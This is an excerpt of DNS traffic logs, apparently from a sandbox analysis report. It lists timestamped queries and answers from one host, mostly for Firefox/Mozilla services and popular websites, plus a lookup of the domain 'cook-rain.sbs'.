Nov 22, 2024 04:13:01.195252895 CET	192.168.2.4	1.1.1.1	0xf805	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 22, 2024 04:13:01.220535994 CET	192.168.2.4	1.1.1.1	0x6a73	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:01.293746948 CET	192.168.2.4	1.1.1.1	0x19e2	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:01.434689999 CET	192.168.2.4	1.1.1.1	0xe632	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:01.466479063 CET	192.168.2.4	1.1.1.1	0x51e1	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 22, 2024 04:13:01.575278044 CET	192.168.2.4	1.1.1.1	0x3529	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 22, 2024 04:13:01.745462894 CET	192.168.2.4	1.1.1.1	0xd489	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:01.885900974 CET	192.168.2.4	1.1.1.1	0x86c0	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 22, 2024 04:13:03.636533976 CET	192.168.2.4	1.1.1.1	0xb909	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:03.636820078 CET	192.168.2.4	1.1.1.1	0x477d	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:35.481427908 CET	192.168.2.4	1.1.1.1	0xca88	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 22, 2024 04:13:39.647774935 CET	192.168.2.4	1.1.1.1	0xac9b	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 22, 2024 04:13:39.678697109 CET	192.168.2.4	1.1.1.1	0x4953	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:39.700866938 CET	192.168.2.4	1.1.1.1	0x85f4	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 22, 2024 04:13:39.718806982 CET	192.168.2.4	1.1.1.1	0x9a3c	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 22, 2024 04:13:42.070107937 CET	192.168.2.4	1.1.1.1	0x73b4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:42.070236921 CET	192.168.2.4	1.1.1.1	0x679e	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 22, 2024 04:13:44.306241035 CET	192.168.2.4	1.1.1.1	0xe262	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:44.306380033 CET	192.168.2.4	1.1.1.1	0x8f8c	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 22, 2024 04:13:50.645842075 CET	192.168.2.4	1.1.1.1	0x75ac	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:51.197190046 CET	192.168.2.4	1.1.1.1	0x39bb	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.102798939 CET	192.168.2.4	1.1.1.1	0x2925	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.187105894 CET	192.168.2.4	1.1.1.1	0x8ef8	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.236387968 CET	192.168.2.4	1.1.1.1	0x6b81	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.245417118 CET	192.168.2.4	1.1.1.1	0xafd1	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.280466080 CET	192.168.2.4	1.1.1.1	0x34cd	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.331964016 CET	192.168.2.4	1.1.1.1	0xf9d4	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.386934042 CET	192.168.2.4	1.1.1.1	0xf37c	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 22, 2024 04:13:59.423731089 CET	192.168.2.4	1.1.1.1	0xccd1	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 22, 2024 04:13:59.481265068 CET	192.168.2.4	1.1.1.1	0xa854	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 22, 2024 04:13:59.526453018 CET	192.168.2.4	1.1.1.1	0xa013	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.571943045 CET	192.168.2.4	1.1.1.1	0x60a	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 22, 2024 04:13:59.667233944 CET	192.168.2.4	1.1.1.1	0xc653	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Nov 22, 2024 04:14:00.468147993 CET	192.168.2.4	1.1.1.1	0x44c2	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:00.609273911 CET	192.168.2.4	1.1.1.1	0x9be6	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:00.748056889 CET	192.168.2.4	1.1.1.1	0xdbf2	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 22, 2024 04:14:02.495692015 CET	192.168.2.4	1.1.1.1	0x9ac8	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.495888948 CET	192.168.2.4	1.1.1.1	0xce8f	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.495984077 CET	192.168.2.4	1.1.1.1	0x9311	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.633611917 CET	192.168.2.4	1.1.1.1	0xc5be	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.633749008 CET	192.168.2.4	1.1.1.1	0xa404	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.634799004 CET	192.168.2.4	1.1.1.1	0x7b99	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.770817995 CET	192.168.2.4	1.1.1.1	0x532b	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 22, 2024 04:14:02.771508932 CET	192.168.2.4	1.1.1.1	0x8fa3	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 22, 2024 04:14:02.851743937 CET	192.168.2.4	1.1.1.1	0xd712	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 22, 2024 04:14:02.910984039 CET	192.168.2.4	1.1.1.1	0xfeaf	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.996304989 CET	192.168.2.4	1.1.1.1	0x2436	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:03.048914909 CET	192.168.2.4	1.1.1.1	0x8332	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:03.134876966 CET	192.168.2.4	1.1.1.1	0x4ca2	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:03.139718056 CET	192.168.2.4	1.1.1.1	0xd712	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 22, 2024 04:14:03.191526890 CET	192.168.2.4	1.1.1.1	0xee5e	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 22, 2024 04:14:03.283725977 CET	192.168.2.4	1.1.1.1	0x500	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 22, 2024 04:14:05.937351942 CET	192.168.2.4	1.1.1.1	0x2ef1	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 22, 2024 04:14:17.566365004 CET	192.168.2.4	1.1.1.1	0x95eb	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 22, 2024 04:14:27.258495092 CET	192.168.2.4	1.1.1.1	0x3831	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 22, 2024 04:14:27.554037094 CET	192.168.2.4	1.1.1.1	0x3831	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 22, 2024 04:14:39.204740047 CET	192.168.2.4	1.1.1.1	0x761e	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:39.342498064 CET	192.168.2.4	1.1.1.1	0x8591	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 22, 2024 04:14:52.297713995 CET	192.168.2.4	1.1.1.1	0x8712	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:59.256999969 CET	192.168.2.4	1.1.1.1	0xddba	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:59.257153988 CET	192.168.2.4	1.1.1.1	0xc67	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 22, 2024 04:15:06.797122002 CET	192.168.2.4	1.1.1.1	0xf4ee	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:15:18.099538088 CET	192.168.2.4	1.1.1.1	0xda9a	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:15:18.099682093 CET	192.168.2.4	1.1.1.1	0x5511	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 22, 2024 04:15:20.596146107 CET	192.168.2.4	1.1.1.1	0xe950	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:15:20.741982937 CET	192.168.2.4	1.1.1.1	0x63f2	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 22, 2024 04:15:22.019836903 CET	192.168.2.4	1.1.1.1	0x5d7	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:15:59.267935991 CET	192.168.2.4	1.1.1.1	0xc4fd	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:15:59.268032074 CET	192.168.2.4	1.1.1.1	0x2376	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 22, 2024 04:16:29.459429979 CET	192.168.2.4	1.1.1.1	0x4ae4	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 22, 2024 04:16:30.795494080 CET	192.168.2.4	1.1.1.1	0xc8a4	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:16:42.025881052 CET	192.168.2.4	1.1.1.1	0x291f	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:16:42.164072990 CET	192.168.2.4	1.1.1.1	0xf20a	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:16:42.305414915 CET	192.168.2.4	1.1.1.1	0xd903	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 22, 2024 04:16:59.271745920 CET	192.168.2.4	1.1.1.1	0x3372	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:16:59.272051096 CET	192.168.2.4	1.1.1.1	0xf232	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 22, 2024 04:17:22.680342913 CET	192.168.2.4	1.1.1.1	0x76ac	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:17:59.283561945 CET	192.168.2.4	1.1.1.1	0xd503	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:17:59.283679962 CET	192.168.2.4	1.1.1.1	0x4334	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 22, 2024 04:18:38.972704887 CET	192.168.2.4	1.1.1.1	0xe1d	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:18:38.975358963 CET	192.168.2.4	1.1.1.1	0x5b87	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:18:39.266700029 CET	192.168.2.4	1.1.1.1	0x5b87	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:18:39.304891109 CET	192.168.2.4	1.1.1.1	0x8625	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 22, 2024 04:18:40.250828981 CET	192.168.2.4	1.1.1.1	0x2ad2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:18:59.287369967 CET	192.168.2.4	1.1.1.1	0xc3ad	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:18:59.287483931 CET	192.168.2.4	1.1.1.1	0x2293	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 22, 2024 04:19:23.975864887 CET	192.168.2.4	1.1.1.1	0x3913	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:19:24.114959002 CET	192.168.2.4	1.1.1.1	0x1947	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:19:24.256222010 CET	192.168.2.4	1.1.1.1	0xc18b	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 22, 2024 04:19:36.268251896 CET	192.168.2.4	1.1.1.1	0x30e	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:19:59.290652037 CET	192.168.2.4	1.1.1.1	0x9911	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:19:59.290801048 CET	192.168.2.4	1.1.1.1	0x7814	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 22, 2024 04:12:32.479559898 CET	1.1.1.1	192.168.2.4	0x83cd	No error (0)	cook-rain.sbs		172.67.155.248	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:12:32.479559898 CET	1.1.1.1	192.168.2.4	0x83cd	No error (0)	cook-rain.sbs		104.21.66.38	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:12:48.483354092 CET	1.1.1.1	192.168.2.4	0xeeff	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:12:48.484148026 CET	1.1.1.1	192.168.2.4	0x925c	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 22, 2024 04:12:54.343065977 CET	1.1.1.1	192.168.2.4	0x30e1	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:12:54.642107010 CET	1.1.1.1	192.168.2.4	0xab9a	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:12:59.821567059 CET	1.1.1.1	192.168.2.4	0xceaa	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:12:59.837893009 CET	1.1.1.1	192.168.2.4	0x15a	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:12:59.837893009 CET	1.1.1.1	192.168.2.4	0x15a	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:12:59.960540056 CET	1.1.1.1	192.168.2.4	0x14b0	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:12:59.977181911 CET	1.1.1.1	192.168.2.4	0xdfe4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:00.099081993 CET	1.1.1.1	192.168.2.4	0xbc0d	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 22, 2024 04:13:00.117933989 CET	1.1.1.1	192.168.2.4	0x410c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 22, 2024 04:13:01.033574104 CET	1.1.1.1	192.168.2.4	0x80c8	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:01.194701910 CET	1.1.1.1	192.168.2.4	0xf9cb	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:01.219727993 CET	1.1.1.1	192.168.2.4	0xbd5d	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:13:01.219727993 CET	1.1.1.1	192.168.2.4	0xbd5d	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:01.433634043 CET	1.1.1.1	192.168.2.4	0x19e2	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:13:01.433634043 CET	1.1.1.1	192.168.2.4	0x19e2	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:13:01.433634043 CET	1.1.1.1	192.168.2.4	0x19e2	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:01.465883970 CET	1.1.1.1	192.168.2.4	0x6a73	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:01.574407101 CET	1.1.1.1	192.168.2.4	0xe632	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:01.712729931 CET	1.1.1.1	192.168.2.4	0x3529	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 22, 2024 04:13:01.744529009 CET	1.1.1.1	192.168.2.4	0xbb20	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:13:01.744529009 CET	1.1.1.1	192.168.2.4	0xbb20	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:01.885278940 CET	1.1.1.1	192.168.2.4	0xd489	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:03.774871111 CET	1.1.1.1	192.168.2.4	0x477d	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:03.774871111 CET	1.1.1.1	192.168.2.4	0x477d	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:03.775429964 CET	1.1.1.1	192.168.2.4	0xb909	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:39.907213926 CET	1.1.1.1	192.168.2.4	0x4953	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:13:39.907213926 CET	1.1.1.1	192.168.2.4	0x4953	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:42.207627058 CET	1.1.1.1	192.168.2.4	0x679e	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 22, 2024 04:13:42.207662106 CET	1.1.1.1	192.168.2.4	0x73b4	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:44.444073915 CET	1.1.1.1	192.168.2.4	0xe262	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:13:44.444073915 CET	1.1.1.1	192.168.2.4	0xe262	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:13:44.444073915 CET	1.1.1.1	192.168.2.4	0xe262	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:13:44.444073915 CET	1.1.1.1	192.168.2.4	0xe262	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:44.722637892 CET	1.1.1.1	192.168.2.4	0x8f8c	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:13:44.722637892 CET	1.1.1.1	192.168.2.4	0x8f8c	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:13:44.726326942 CET	1.1.1.1	192.168.2.4	0x31a3	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:13:44.840121984 CET	1.1.1.1	192.168.2.4	0x4a19	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:13:44.840121984 CET	1.1.1.1	192.168.2.4	0x4a19	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:13:44.840121984 CET	1.1.1.1	192.168.2.4	0x4a19	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:51.045186043 CET	1.1.1.1	192.168.2.4	0x75ac	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:13:51.045186043 CET	1.1.1.1	192.168.2.4	0x75ac	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:51.416189909 CET	1.1.1.1	192.168.2.4	0x39bb	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:13:59.242480040 CET	1.1.1.1	192.168.2.4	0x2925	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.275906086 CET	1.1.1.1	192.168.2.4	0x36d3	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.328603029 CET	1.1.1.1	192.168.2.4	0x8ef8	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:13:59.328603029 CET	1.1.1.1	192.168.2.4	0x8ef8	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.373905897 CET	1.1.1.1	192.168.2.4	0x6b81	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.373905897 CET	1.1.1.1	192.168.2.4	0x6b81	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.373905897 CET	1.1.1.1	192.168.2.4	0x6b81	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.373905897 CET	1.1.1.1	192.168.2.4	0x6b81	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.382344007 CET	1.1.1.1	192.168.2.4	0xafd1	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.416280985 CET	1.1.1.1	192.168.2.4	0x40a6	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:13:59.416280985 CET	1.1.1.1	192.168.2.4	0x40a6	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.417159081 CET	1.1.1.1	192.168.2.4	0x34cd	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.470901966 CET	1.1.1.1	192.168.2.4	0xf9d4	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.664745092 CET	1.1.1.1	192.168.2.4	0xa013	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.664745092 CET	1.1.1.1	192.168.2.4	0xa013	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.664745092 CET	1.1.1.1	192.168.2.4	0xa013	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.664745092 CET	1.1.1.1	192.168.2.4	0xa013	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:59.892096043 CET	1.1.1.1	192.168.2.4	0xc653	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 22, 2024 04:13:59.892096043 CET	1.1.1.1	192.168.2.4	0xc653	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 22, 2024 04:13:59.892096043 CET	1.1.1.1	192.168.2.4	0xc653	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 22, 2024 04:13:59.892096043 CET	1.1.1.1	192.168.2.4	0xc653	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 22, 2024 04:14:00.605078936 CET	1.1.1.1	192.168.2.4	0x44c2	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:14:00.605078936 CET	1.1.1.1	192.168.2.4	0x44c2	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:14:00.605078936 CET	1.1.1.1	192.168.2.4	0x44c2	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:00.703497887 CET	1.1.1.1	192.168.2.4	0xfaea	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:00.747180939 CET	1.1.1.1	192.168.2.4	0x9be6	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.632826090 CET	1.1.1.1	192.168.2.4	0xce8f	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 04:14:02.632826090 CET	1.1.1.1	192.168.2.4	0xce8f	No error (0)	star-mini.c10r.facebook.com		157.240.195.35	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:14:02.632991076 CET	1.1.1.1	192.168.2.4	0x9ac8	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
